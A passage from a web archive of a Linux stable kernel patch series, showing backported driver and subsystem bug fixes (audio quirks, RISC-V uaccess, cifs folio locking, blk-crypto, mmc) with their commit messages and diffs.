@@ -4472,6 +4472,8 @@ static void rt5665_remove(struct snd_soc_component *component)struct rt5665_priv *rt5665 =snd_soc_component_get_drvdata (component);regmap_write (rt5665->regmap,RT5665_RESET ,0 ); + +regulator_bulk_disable (ARRAY_SIZE (rt5665->supplies), rt5665->supplies); }#ifdef CONFIG_PM
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 145/194 ASoC: meson: axg-tdm-formatter: fix channel slot allocation
In reply to Greg Kroah-HartmanFrom: Jerome Brunet <[email protected]>
[ Upstream commit c1f848f12103920ca165758aedb1c10904e193e1 ]
When the tdm lane mask is computed, the driver currently fills the 1st lane before moving on to the next. If the stream has less channels than the lanes can accommodate, slots will be disabled on the last lanes.
Unfortunately, the HW distribute channels in a different way. It distribute channels in pair on each lanes before moving on the next slots.
This difference leads to problems if a device has an interface with more than 1 lane and with more than 2 slots per lane.
For example: a playback interface with 2 lanes and 4 slots each (total 8 slots - zero based numbering)
- Playing a 8ch stream:
- All slots activated by the driver
- channel #2 will be played on lane #1 - slot #0 following HW placement
- Playing a 4ch stream:
- Lane #1 disabled by the driver
- channel #2 will be played on lane #0 - slot #2
This behaviour is obviously not desirable.
Change the way slots are activated on the TDM lanes to follow what the HW does and make sure each channel always get mapped to the same slot/lane.
--- sound/soc/meson/axg-tdm-formatter.c | 42 ++++++++++++++++++----------- 1 file changed, 26 insertions(+), 16 deletions(-)
sound/soc/meson/axg-tdm-formatter.c +26 -16
@@ -30,27 +30,32 @@ int axg_tdm_formatter_set_channel_masks(struct regmap *map, struct axg_tdm_stream *ts, unsigned int offset) { -unsigned int val, ch = ts->channels; -unsigned long mask; -int i, j; +unsigned int ch = ts->channels; +u32 val[AXG_TDM_NUM_LANES ]; +int i, j, k; + +/* +* We need to mimick the slot distribution used by the HW to keep the +* channel placement consistent regardless of the number of channel +* in the stream. This is why the odd algorithm below is used. +*/ +memset (val,0 ,sizeof (*val) *AXG_TDM_NUM_LANES );/* * Distribute the channels of the stream over the available slots -* of each TDM lane +* of each TDM lane. We need to go over the 32 slots ... */ -for (i =0 ; i <AXG_TDM_NUM_LANES ; i++) { - val =0 ; - mask = ts->mask[i]; - -for (j =find_first_bit (&mask,32 ); - (j <32 ) && ch; - j =find_next_bit (&mask,32 , j +1 )) { - val |=1 << j; - ch -=1 ; +for (i =0 ; (i <32 ) && ch; i +=2 ) { +/* ... of all the lanes ... */ +for (j =0 ; j <AXG_TDM_NUM_LANES ; j++) { +/* ... then distribute the channels in pairs */ +for (k =0 ; k <2 ; k++) { +if ((BIT (i + k) & ts->mask[j]) && ch) { + val[j] |=BIT (i + k); + ch -=1 ; + } + } } - -regmap_write (map, offset, val); - offset +=regmap_get_reg_stride (map); }/*
@@ -63,6 +68,11 @@ int axg_tdm_formatter_set_channel_masks(struct regmap *map,return -EINVAL ; } +for (i =0 ; i <AXG_TDM_NUM_LANES ; i++) { +regmap_write (map, offset, val[i]); + offset +=regmap_get_reg_stride (map); + } +return 0 ; }EXPORT_SYMBOL_GPL (axg_tdm_formatter_set_channel_masks);
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 146/194 ALSA: hda/realtek: Add quirks for HP G11 Laptops
In reply to Greg Kroah-HartmanFrom: Stefan Binding <[email protected]>
[ Upstream commit fb8cce69e5e56eedb35fc4d77b2f099860965859 ]
These HP G11 laptops use Realtek HDA codec combined with 2xCS35L41 Amplifiers using SPI or I2C with External Boost.
Laptop 103c8c26 has been removed as this has been replaced by this new series of laptops.
--- sound/pci/hda/patch_realtek.c | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-)
sound/pci/hda/patch_realtek.c +7 -1
@@ -9596,7 +9596,13 @@ static const struct snd_pci_quirk alc269_fixup_tbl[] = {SND_PCI_QUIRK (0x103c ,0x8b96 ,"HP" ,ALC236_FIXUP_HP_MUTE_LED_MICMUTE_VREF ),SND_PCI_QUIRK (0x103c ,0x8b97 ,"HP" ,ALC236_FIXUP_HP_MUTE_LED_MICMUTE_VREF ),SND_PCI_QUIRK (0x103c ,0x8bf0 ,"HP" ,ALC236_FIXUP_HP_GPIO_LED ), -SND_PCI_QUIRK (0x103c ,0x8c26 ,"HP HP EliteBook 800G11" ,ALC245_FIXUP_CS35L41_SPI_2_HP_GPIO_LED ), +SND_PCI_QUIRK (0x103c ,0x8c46 ,"HP EliteBook 830 G11" ,ALC245_FIXUP_CS35L41_SPI_2_HP_GPIO_LED ), +SND_PCI_QUIRK (0x103c ,0x8c47 ,"HP EliteBook 840 G11" ,ALC245_FIXUP_CS35L41_SPI_2_HP_GPIO_LED ), +SND_PCI_QUIRK (0x103c ,0x8c48 ,"HP EliteBook 860 G11" ,ALC245_FIXUP_CS35L41_SPI_2_HP_GPIO_LED ), +SND_PCI_QUIRK (0x103c ,0x8c49 ,"HP Elite x360 830 2-in-1 G11" ,ALC245_FIXUP_CS35L41_SPI_2_HP_GPIO_LED ), +SND_PCI_QUIRK (0x103c ,0x8c70 ,"HP EliteBook 835 G11" ,ALC287_FIXUP_CS35L41_I2C_2_HP_GPIO_LED ), +SND_PCI_QUIRK (0x103c ,0x8c71 ,"HP EliteBook 845 G11" ,ALC287_FIXUP_CS35L41_I2C_2_HP_GPIO_LED ), +SND_PCI_QUIRK (0x103c ,0x8c72 ,"HP EliteBook 865 G11" ,ALC287_FIXUP_CS35L41_I2C_2_HP_GPIO_LED ),SND_PCI_QUIRK (0x1043 ,0x103e ,"ASUS X540SA" ,ALC256_FIXUP_ASUS_MIC ),SND_PCI_QUIRK (0x1043 ,0x103f ,"ASUS TX300" ,ALC282_FIXUP_ASUS_TX300 ), SND_PCI_QUIRK(0x1043, 0x106d, "Asus K53BE", ALC269_FIXUP_LIMIT_INT_MIC_BOOST),
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 147/194 soc: aspeed: uart-routing: Use __sysfs_match_string
In reply to Greg Kroah-HartmanFrom: Zev Weiss <[email protected]>
[ Upstream commit e4ad279ae345413d900d791f2f618d0a1cd0d791 ]
The existing use of match_string() caused it to reject 'echo foo' due to the implicitly appended newline, which was somewhat ergonomically awkward and inconsistent with typical sysfs behavior. Using the __sysfs_* variant instead provides more convenient and consistent linefeed-agnostic behavior.
--- drivers/soc/aspeed/aspeed-uart-routing.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/soc/aspeed/aspeed-uart-routing.c +1 -1
@@ -524,7 +524,7 @@ static ssize_t aspeed_uart_routing_store(struct device *dev,struct aspeed_uart_routing_selector *sel =to_routing_selector (attr);int val; - val =match_string (sel->options,-1 , buf); + val =__sysfs_match_string (sel->options,-1 , buf);if (val <0 ) {dev_err (dev,"invalid value \"%s\"\n" , buf);return -EINVAL ;
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 148/194 soc: aspeed: socinfo: Add kfree for kstrdup
In reply to Greg Kroah-HartmanFrom: Jiasheng Jiang <[email protected]>
[ Upstream commit 6e6d847a8ce18ab2fbec4f579f682486a82d2c6b ]
Add kfree() in the later error handling in order to avoid memory leak.
--- drivers/soc/aspeed/aspeed-socinfo.c | 1 + 1 file changed, 1 insertion(+)
drivers/soc/aspeed/aspeed-socinfo.c +1 -0
@@ -137,6 +137,7 @@ static int __init aspeed_socinfo_init(void) soc_dev =soc_device_register (attrs);if (IS_ERR (soc_dev)) { +kfree (attrs->machine);kfree (attrs->soc_id);kfree (attrs->serial_number);kfree (attrs);
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 149/194 ALSA: hda/realtek - Remodified 3k pull low procedure
In reply to Greg Kroah-HartmanFrom: Kailang Yang <[email protected]>
[ Upstream commit 46cdff2369cbdf8d78081a22526e77bd1323f563 ]
Set spec->en_3kpull_low default to true.
Then fillback ALC236 and ALC257 to false.
Additional note: this addresses a regression caused by the previous fix 69ea4c9d02b7 ("ALSA: hda/realtek - remove 3k pull low procedure"). The previous workaround was applied too widely without necessity, which resulted in the pop noise at PM again. This patch corrects the condition and restores the old behavior for the devices that don't suffer from the original problem.
--- sound/pci/hda/patch_realtek.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-)
sound/pci/hda/patch_realtek.c +5 -2
@@ -10620,6 +10620,7 @@ static int patch_alc269(struct hda_codec *codec) spec = codec->spec; spec->gen.shared_mic_vref_pin =0x18 ; codec->power_save_node =0 ; + spec->en_3kpull_low = true;#ifdef CONFIG_PM codec->patch_ops.suspend = alc269_suspend;
@@ -10702,14 +10703,16 @@ static int patch_alc269(struct hda_codec *codec) spec->shutup = alc256_shutup; spec->init_hook = alc256_init; spec->gen.mixer_nid =0 ;/* ALC256 does not have any loopback mixer path */ -if (codec->bus->pci->vendor ==PCI_VENDOR_ID_AMD ) - spec->en_3kpull_low = true; +if (codec->core.vendor_id ==0x10ec0236 && + codec->bus->pci->vendor !=PCI_VENDOR_ID_AMD ) + spec->en_3kpull_low = false;break ;case 0x10ec0257 : spec->codec_variant =ALC269_TYPE_ALC257 ; spec->shutup = alc256_shutup; spec->init_hook = alc256_init; spec->gen.mixer_nid =0 ; + spec->en_3kpull_low = false;break ;case 0x10ec0215 :case 0x10ec0245 :
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 150/194 riscv: uaccess: Return the number of bytes effectively not copied
In reply to Greg Kroah-HartmanFrom: Alexandre Ghiti <[email protected]>
[ Upstream commit 4b05b993900dd3eba0fc83ef5c5ddc7d65d786c6 ]
It was reported that the riscv kernel hangs while executing the test in [1].
Indeed, the test hangs when trying to write a buffer to a file. The problem is that the riscv implementation of raw_copy_from_user() does not return the correct number of bytes not written when an exception happens and is fixed up, instead it always returns the initial size to copy, even if some bytes were actually copied.
generic_perform_write() pre-faults the user pages and bails out if nothing can be written, otherwise it will access the userspace buffer: here the riscv implementation keeps returning it was not able to copy any byte though the pre-faulting indicates otherwise. So generic_perform_write() keeps retrying to access the user memory and ends up in an infinite loop.
Note that before the commit mentioned in [1] that introduced this regression, it worked because generic_perform_write() would bail out if only one byte could not be written.
So fix this by returning the number of bytes effectively not written in __asm_copy_[to|from]_user() and __clear_user(), as it is expected.
--- arch/riscv/lib/uaccess.S | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-)
arch/riscv/lib/uaccess.S +7 -4
@@ -17,8 +17,11 @@ ENTRY(__asm_copy_from_user) li t6, SR_SUM csrs CSR_STATUS, t6 - /* Save for return value */ - mv t5, a2 + /* + * Save the terminal address which will be used to compute the number + * of bytes copied in case of a fixup exception. + */ + add t5, a0, a2 /* * Register allocation for code below:
@@ -176,7 +179,7 @@ ENTRY(__asm_copy_from_user) 10: /* Disable access to user memory */ csrc CSR_STATUS, t6 - mv a0, t5 + sub a0, t5, a0 ret ENDPROC(__asm_copy_to_user) ENDPROC(__asm_copy_from_user)
@@ -228,7 +231,7 @@ ENTRY(__clear_user) 11: /* Disable access to user memory */ csrc CSR_STATUS, t6 - mv a0, a1 + sub a0, a3, a0 ret ENDPROC(__clear_user) EXPORT_SYMBOL(__clear_user)
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 151/194 serial: 8250: Fix oops for port->pm on uart_change_pm()
In reply to Greg Kroah-HartmanFrom: Tony Lindgren <[email protected]>
[ Upstream commit dfe2aeb226fd5e19b0ee795f4f6ed8bc494c1534 ]
Unloading a hardware specific 8250 driver can produce error "Unable to handle kernel paging request at virtual address" about ten seconds after unloading the driver. This happens on uart_hangup() calling uart_change_pm().
Turns out commit 04e82793f068 ("serial: 8250: Reinit port->pm on port specific driver unbind") was only a partial fix. If the hardware specific driver has initialized port->pm function, we need to clear port->pm too. Just reinitializing port->ops does not do this. Otherwise serial8250_pm() will call port->pm() instead of serial8250_do_pm().
--- drivers/tty/serial/8250/8250_port.c | 1 + 1 file changed, 1 insertion(+)
drivers/tty/serial/8250/8250_port.c +1 -0
@@ -3281,6 +3281,7 @@ void serial8250_init_port(struct uart_8250_port *up)struct uart_port *port = &up->port;spin_lock_init (&port->lock); + port->pm =NULL ; port->ops = &serial8250_pops; port->has_sysrq =IS_ENABLED (CONFIG_SERIAL_8250_CONSOLE );
Signature · 1 line
2.40.1
Greg Kroah-Hartman
maintainerPATCH 152/194 ALSA: usb-audio: Add support for Mythware XA001AU capture and playback interfaces.
In reply to Greg Kroah-HartmanFrom: dengxiang <[email protected]>
commit 788449ae57f4273111b779bbcaad552b67f517d5 upstream.
This patch adds a USB quirk for Mythware XA001AU USB interface.
--- sound/usb/quirks-table.h | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+)
sound/usb/quirks-table.h +29 -0
@@ -4507,6 +4507,35 @@ YAMAHA_DEVICE(0x7010, "UB99"), } } }, +{ +/* Advanced modes of the Mythware XA001AU. +* For the standard mode, Mythware XA001AU has ID ffad:a001 +*/ + USB_DEVICE_VENDOR_SPEC(0xffad, 0xa001), + .driver_info = (unsigned long ) &(const struct snd_usb_audio_quirk ) { + .vendor_name ="Mythware" , + .product_name ="XA001AU" , + .ifnum =QUIRK_ANY_INTERFACE , + .type =QUIRK_COMPOSITE , + .data = (const struct snd_usb_audio_quirk []) { + { + .ifnum =0 , + .type =QUIRK_IGNORE_INTERFACE , + }, + { + .ifnum =1 , + .type =QUIRK_AUDIO_STANDARD_INTERFACE , + }, + { + .ifnum =2 , + .type =QUIRK_AUDIO_STANDARD_INTERFACE , + }, + { + .ifnum =-1 + } + } + } +}, #undef USB_DEVICE_VENDOR_SPEC #undef USB_AUDIO_DEVICE
Greg Kroah-Hartman
maintainerPATCH 153/194 cifs: Release folio lock on fscache read hit.
In reply to Greg Kroah-HartmanFrom: Russell Harmon via samba-technical <[email protected]>
commit 69513dd669e243928f7450893190915a88f84a2b upstream.
Under the current code, when cifs_readpage_worker is called, the call contract is that the callee should unlock the page. This is documented in the read_folio section of Documentation/filesystems/vfs.rst as:
Quoted 2 lines
The filesystem should unlock the folio once the read has completed, whether it was successful or not.
Without this change, when fscache is in use and cache hit occurs during a read, the page lock is leaked, producing the following stack on subsequent reads (via mmap) to the page:
$ cat /proc/3890/task/12864/stack [<0>] folio_wait_bit_common+0x124/0x350 [<0>] filemap_read_folio+0xad/0xf0 [<0>] filemap_fault+0x8b1/0xab0 [<0>] __do_fault+0x39/0x150 [<0>] do_fault+0x25c/0x3e0 [<0>] __handle_mm_fault+0x6ca/0xc70 [<0>] handle_mm_fault+0xe9/0x350 [<0>] do_user_addr_fault+0x225/0x6c0 [<0>] exc_page_fault+0x84/0x1b0 [<0>] asm_exc_page_fault+0x27/0x30
This requires a reboot to resolve; it is a deadlock.
Note however that the call to cifs_readpage_from_fscache does mark the page clean, but does not free the folio lock. This happens in __cifs_readpage_from_fscache on success. Releasing the lock at that point however is not appropriate as cifs_readahead also calls cifs_readpage_from_fscache and *does* unconditionally release the lock after its return. This change therefore effectively makes cifs_readpage_worker work like cifs_readahead.
--- fs/smb/client/file.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
fs/smb/client/file.c +1 -1
@@ -4885,9 +4885,9 @@ static int cifs_readpage_worker(struct f io_error:kunmap (page); -unlock_page (page); read_complete: +unlock_page (page);return rc; }
Greg Kroah-Hartman
maintainerPATCH 154/194 riscv: Handle zicsr/zifencei issue between gcc and binutils
In reply to Greg Kroah-HartmanFrom: Mingzheng Xing <[email protected]>
commit ca09f772cccaeec4cd05a21528c37a260aa2dd2c upstream.
Binutils-2.38 and GCC-12.1.0 bumped[0][1] the default ISA spec to the newer 20191213 version which moves some instructions from the I extension to the Zicsr and Zifencei extensions. So if one of the binutils and GCC exceeds that version, we should explicitly specifying Zicsr and Zifencei via -march to cope with the new changes. but this only occurs when binutils >= 2.36 and GCC >= 11.1.0. It's a different story when binutils < 2.36.
binutils-2.36 supports the Zifencei extension[2] and splits Zifencei and Zicsr from I[3]. GCC-11.1.0 is particular[4] because it add support Zicsr and Zifencei extension for -march. binutils-2.35 does not support the Zifencei extension, and does not need to specify Zicsr and Zifencei when working with GCC >= 12.1.0.
To make our lives easier, let's relax the check to binutils >= 2.36 in CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI. For the other two cases, where clang < 17 or GCC < 11.1.0, we will deal with them in CONFIG_TOOLCHAIN_NEEDS_OLD_ISA_SPEC.
For more information, please refer to:
commit 6df2a016c0c8 ("riscv: fix build with binutils 2.38")
commit e89c2e815e76 ("riscv: Handle zicsr/zifencei issues between clang and binutils")
--- arch/riscv/Kconfig | 28 +++++++++++++++++----------- arch/riscv/kernel/compat_vdso/Makefile | 8 +++++++- 2 files changed, 24 insertions(+), 12 deletions(-)
arch/riscv/Kconfig +17 -11
@@ -447,24 +447,30 @@ config TOOLCHAIN_HAS_ZIHINTPAUSE config TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI def_bool y # https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=aed44286efa8ae8717a77d94b51ac3614e2ca6dc - depends on AS_IS_GNU && AS_VERSION >= 23800 + # https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=98416dbb0a62579d4a7a4a76bab51b5b52fec2cd + depends on AS_IS_GNU && AS_VERSION >= 23600 help - Newer binutils versions default to ISA spec version 20191213 which - moves some instructions from the I extension to the Zicsr and Zifencei - extensions. + Binutils-2.38 and GCC-12.1.0 bumped the default ISA spec to the newer + 20191213 version, which moves some instructions from the I extension to + the Zicsr and Zifencei extensions. This requires explicitly specifying + Zicsr and Zifencei when binutils >= 2.38 or GCC >= 12.1.0. Zicsr + and Zifencei are supported in binutils from version 2.36 onwards. + To make life easier, and avoid forcing toolchains that default to a + newer ISA spec to version 2.2, relax the check to binutils >= 2.36. + For clang < 17 or GCC < 11.1.0, for which this is not possible, this is + dealt with in CONFIG_TOOLCHAIN_NEEDS_OLD_ISA_SPEC. config TOOLCHAIN_NEEDS_OLD_ISA_SPEC def_bool y depends on TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI # https://github.com/llvm/llvm-project/commit/22e199e6afb1263c943c0c0d4498694e15bf8a16 - depends on CC_IS_CLANG && CLANG_VERSION < 170000 + # https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=b03be74bad08c382da47e048007a78fa3fb4ef49 + depends on (CC_IS_CLANG && CLANG_VERSION < 170000) || (CC_IS_GCC && GCC_VERSION < 110100) help - Certain versions of clang do not support zicsr and zifencei via -march - but newer versions of binutils require it for the reasons noted in the - help text of CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI. This - option causes an older ISA spec compatible with these older versions - of clang to be passed to GAS, which has the same result as passing zicsr - and zifencei to -march. + Certain versions of clang and GCC do not support zicsr and zifencei via + -march. This option causes an older ISA spec compatible with these older + versions of clang and GCC to be passed to GAS, which has the same result + as passing zicsr and zifencei to -march. config FPU bool "FPU support"
arch/riscv/kernel/compat_vdso/Makefile +7 -1
@@ -11,7 +11,13 @@ compat_vdso-syms += flush_icache COMPAT_CC := $(CC) COMPAT_LD := $(LD) -COMPAT_CC_FLAGS := -march=rv32g -mabi=ilp32 +# binutils 2.35 does not support the zifencei extension, but in the ISA +# spec 20191213, G stands for IMAFD_ZICSR_ZIFENCEI. +ifdef CONFIG_TOOLCHAIN_NEEDS_EXPLICIT_ZICSR_ZIFENCEI + COMPAT_CC_FLAGS := -march=rv32g -mabi=ilp32 +else + COMPAT_CC_FLAGS := -march=rv32imafd -mabi=ilp32 +endif COMPAT_LD_FLAGS := -melf32lriscv # Disable attributes, as they're useless and break the build.
Greg Kroah-Hartman
maintainerPATCH 155/194 virtio-net: Zero max_tx_vq field for VIRTIO_NET_CTRL_MQ_HASH_CONFIG case
In reply to Greg Kroah-HartmanFrom: Hawkins Jiawei <[email protected]>
commit 2c507ce90e02cd78d00fd4b0fe26c8641873c13f upstream.
Kernel uses struct virtio_net_ctrl_rss to save command-specific-data for both the VIRTIO_NET_CTRL_MQ_HASH_CONFIG and VIRTIO_NET_CTRL_MQ_RSS_CONFIG commands.
According to the VirtIO standard, "Field reserved MUST contain zeroes. It is defined to make the structure to match the layout of virtio_net_rss_config structure, defined in 5.1.6.5.7.".
Yet for the VIRTIO_NET_CTRL_MQ_HASH_CONFIG command case, the max_tx_vq field in struct virtio_net_ctrl_rss, which corresponds to the reserved field in struct virtio_net_hash_config, is not zeroed, thereby violating the VirtIO standard.
This patch solves this problem by zeroing this field in virtnet_init_default_rss().
Message-Id: <[email protected]>
--- drivers/net/virtio_net.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/net/virtio_net.c +1 -1
@@ -2504,7 +2504,7 @@ static void virtnet_init_default_rss(str vi->ctrl->rss.indirection_table[i] = indir_val; } - vi->ctrl->rss.max_tx_vq = vi->curr_queue_pairs; + vi->ctrl->rss.max_tx_vq = vi->has_rss ? vi->curr_queue_pairs :0 ; vi->ctrl->rss.hash_key_length = vi->rss_key_size;netdev_rss_key_fill (vi->ctrl->rss.key, vi->rss_key_size);
Greg Kroah-Hartman
maintainerPATCH 156/194 arm64: dts: rockchip: Fix Wifi/Bluetooth on ROCK Pi 4 boards
In reply to Greg Kroah-HartmanFrom: Yogesh Hegde <[email protected]>
commit ebceec271e552a2b05e47d8ef0597052b1a39449 upstream.
This patch fixes an issue affecting the Wifi/Bluetooth connectivity on ROCK Pi 4 boards. Commit f471b1b2db08 ("arm64: dts: rockchip: Fix Bluetooth on ROCK Pi 4 boards") introduced a problem with the clock configuration. Specifically, the clock-names property of the sdio-pwrseq node was not updated to 'lpo', causing the driver to wait indefinitely for the wrong clock signal 'ext_clock' instead of the expected one 'lpo'. This prevented the proper initialization of Wifi/Bluetooth chip on ROCK Pi 4 boards.
To address this, this patch updates the clock-names property of the sdio-pwrseq node to "lpo" to align with the changes made to the bluetooth node.
This patch has been tested on ROCK Pi 4B.
--- arch/arm64/boot/dts/rockchip/rk3399-rock-pi-4.dtsi | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
arch/arm64/boot/dts/rockchip/rk3399-rock-pi-4.dtsi +1 -1
@@ -45,7 +45,7 @@ sdio_pwrseq: sdio-pwrseq { compatible = "mmc-pwrseq-simple"; clocks = <&rk808 1>; - clock-names = "ext_clock"; + clock-names = "lpo"; pinctrl-names = "default"; pinctrl-0 = <&wifi_enable_h>; reset-gpios = <&gpio0 RK_PB2 GPIO_ACTIVE_LOW>;
Greg Kroah-Hartman
maintainerPATCH 157/194 blk-crypto: dynamically allocate fallback profile
In reply to Greg Kroah-HartmanFrom: Sweet Tea Dorminy <[email protected]>
commit c984ff1423ae9f70b1f28ce811856db0d9c99021 upstream.
blk_crypto_profile_init() calls lockdep_register_key(), which warns and does not register if the provided memory is a static object. blk-crypto-fallback currently has a static blk_crypto_profile and calls blk_crypto_profile_init() thereupon, resulting in the warning and failure to register.
Fortunately it is simple enough to use a dynamically allocated profile and make lockdep function correctly.
--- block/blk-crypto-fallback.c | 36 +++++++++++++++++++++++------------- 1 file changed, 23 insertions(+), 13 deletions(-)
block/blk-crypto-fallback.c +23 -13
@@ -78,7 +78,7 @@ static struct blk_crypto_fallback_keyslot {struct crypto_skcipher *tfms[BLK_ENCRYPTION_MODE_MAX ]; } *blk_crypto_keyslots; -static struct blk_crypto_profile blk_crypto_fallback_profile; +static struct blk_crypto_profile *blk_crypto_fallback_profile;static struct workqueue_struct *blk_crypto_wq;static mempool_t *blk_crypto_bounce_page_pool;static struct bio_set crypto_bio_split;
@@ -292,7 +292,7 @@ static bool blk_crypto_fallback_encrypt_bio(struct bio **bio_ptr)* Get a blk-crypto-fallback keyslot that contains a crypto_skcipher for * this bio's algorithm and key. */ - blk_st =blk_crypto_get_keyslot (&blk_crypto_fallback_profile, + blk_st =blk_crypto_get_keyslot (blk_crypto_fallback_profile, bc->bc_key, &slot);if (blk_st !=BLK_STS_OK ) { src_bio->bi_status = blk_st;
@@ -395,7 +395,7 @@ static void blk_crypto_fallback_decrypt_bio(struct work_struct *work)* Get a blk-crypto-fallback keyslot that contains a crypto_skcipher for * this bio's algorithm and key. */ - blk_st =blk_crypto_get_keyslot (&blk_crypto_fallback_profile, + blk_st =blk_crypto_get_keyslot (blk_crypto_fallback_profile, bc->bc_key, &slot);if (blk_st !=BLK_STS_OK ) { bio->bi_status = blk_st;
@@ -499,7 +499,7 @@ bool blk_crypto_fallback_bio_prep(struct bio **bio_ptr)return false; } -if (!__blk_crypto_cfg_supported (&blk_crypto_fallback_profile, +if (!__blk_crypto_cfg_supported (blk_crypto_fallback_profile, &bc->bc_key->crypto_cfg)) { bio->bi_status =BLK_STS_NOTSUPP ;return false;
@@ -526,7 +526,7 @@ bool blk_crypto_fallback_bio_prep(struct bio **bio_ptr)int blk_crypto_fallback_evict_key (const struct blk_crypto_key *key) { -return __blk_crypto_evict_key (&blk_crypto_fallback_profile, key); +return __blk_crypto_evict_key (blk_crypto_fallback_profile, key); }static bool blk_crypto_fallback_inited;
@@ -534,7 +534,6 @@ static int blk_crypto_fallback_init(void) {int i;int err; -struct blk_crypto_profile *profile = &blk_crypto_fallback_profile;if (blk_crypto_fallback_inited)return 0 ;
@@ -545,18 +544,27 @@ static int blk_crypto_fallback_init(void)if (err) goto out; - err =blk_crypto_profile_init (profile, blk_crypto_num_keyslots); -if (err) +/* Dynamic allocation is needed because of lockdep_register_key(). */ + blk_crypto_fallback_profile = +kzalloc (sizeof (*blk_crypto_fallback_profile),GFP_KERNEL ); +if (!blk_crypto_fallback_profile) { + err = -ENOMEM ; goto fail_free_bioset; + } + + err =blk_crypto_profile_init (blk_crypto_fallback_profile, + blk_crypto_num_keyslots); +if (err) + goto fail_free_profile; err = -ENOMEM ; - profile->ll_ops = blk_crypto_fallback_ll_ops; - profile->max_dun_bytes_supported =BLK_CRYPTO_MAX_IV_SIZE ; + blk_crypto_fallback_profile->ll_ops = blk_crypto_fallback_ll_ops; + blk_crypto_fallback_profile->max_dun_bytes_supported =BLK_CRYPTO_MAX_IV_SIZE ;/* All blk-crypto modes have a crypto API fallback. */ for (i =0 ; i <BLK_ENCRYPTION_MODE_MAX ; i++) - profile->modes_supported[i] =0xFFFFFFFF ; - profile->modes_supported[BLK_ENCRYPTION_MODE_INVALID ] =0 ; + blk_crypto_fallback_profile->modes_supported[i] =0xFFFFFFFF ; + blk_crypto_fallback_profile->modes_supported[BLK_ENCRYPTION_MODE_INVALID ] =0 ; blk_crypto_wq = alloc_workqueue("blk_crypto_wq", WQ_UNBOUND | WQ_HIGHPRI |
@@ -597,7 +605,9 @@ static int blk_crypto_fallback_init(void) fail_free_wq:destroy_workqueue (blk_crypto_wq); fail_destroy_profile: -blk_crypto_profile_destroy (profile); +blk_crypto_profile_destroy (blk_crypto_fallback_profile); +fail_free_profile: +kfree (blk_crypto_fallback_profile); fail_free_bioset:bioset_exit (&crypto_bio_split); out:
Signature · 1 line
2.41.0
Greg Kroah-Hartman
maintainerPATCH 158/194 mmc: wbsd: fix double mmc_free_host() in wbsd_init()
In reply to Greg Kroah-HartmanFrom: Yang Yingliang <[email protected]>
commit d83035433701919ac6db15f7737cbf554c36c1a6 upstream.
mmc_free_host() has already be called in wbsd_free_mmc(), remove the mmc_free_host() in error path in wbsd_init().
--- drivers/mmc/host/wbsd.c | 2 -- 1 file changed, 2 deletions(-)
drivers/mmc/host/wbsd.c +0 -2
@@ -1705,8 +1705,6 @@ static int wbsd_init(struct device *dev,wbsd_release_resources (host);wbsd_free_mmc (dev); - -mmc_free_host (mmc);return ret; }
Greg Kroah-Hartman
maintainerPATCH 159/194 mmc: block: Fix in_flight[issue_type] value error
In reply to Greg Kroah-HartmanFrom: Yibin Ding <[email protected]>
commit 4b430d4ac99750ee2ae2f893f1055c7af1ec3dc5 upstream.
For a completed request, after the mmc_blk_mq_complete_rq(mq, req) function is executed, the bitmap_tags corresponding to the request will be cleared, that is, the request will be regarded as idle. If the request is acquired by a different type of process at this time, the issue_type of the request may change. It further caused the value of mq->in_flight[issue_type] to be abnormal, and a large number of requests could not be sent.
p1: p2:mmc_blk_mq_complete_rq
blk_mq_free_request
blk_mq_get_request
blk_mq_rq_ctx_initmmc_blk_mq_dec_in_flight
mmc_issue_type(mq, req)
This strategy can ensure the consistency of issue_type before and after executing mmc_blk_mq_complete_rq.
--- drivers/mmc/core/block.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-)
drivers/mmc/core/block.c +4 -3
@@ -2097,14 +2097,14 @@ static void mmc_blk_mq_poll_completion(smmc_blk_urgent_bkops (mq, mqrq); } -static void mmc_blk_mq_dec_in_flight (struct mmc_queue *mq,struct request *req) +static void mmc_blk_mq_dec_in_flight (struct mmc_queue *mq,enum mmc_issue_type issue_type) {unsigned long flags;bool put_card;spin_lock_irqsave (&mq->lock, flags); - mq->in_flight[mmc_issue_type (mq, req)] -=1 ; + mq->in_flight[issue_type] -=1 ; put_card = (mmc_tot_in_flight (mq) ==0 );
@@ -2117,6 +2117,7 @@ static void mmc_blk_mq_dec_in_flight(strstatic void mmc_blk_mq_post_req (struct mmc_queue *mq,struct request *req,bool can_sleep) { +enum mmc_issue_type issue_type =mmc_issue_type (mq, req);struct mmc_queue_req *mqrq =req_to_mmc_queue_req (req);struct mmc_request *mrq = &mqrq->brq.mrq;struct mmc_host *host = mq->card->host;
@@ -2136,7 +2137,7 @@ static void mmc_blk_mq_post_req(struct mblk_mq_complete_request (req); } -mmc_blk_mq_dec_in_flight (mq, req); +mmc_blk_mq_dec_in_flight (mq, issue_type); }void mmc_blk_mq_recovery (struct mmc_queue *mq)
Greg Kroah-Hartman
maintainerPATCH 160/194 drm/qxl: fix UAF on handle creation
In reply to Greg Kroah-HartmanFrom: Wander Lairson Costa <[email protected]>
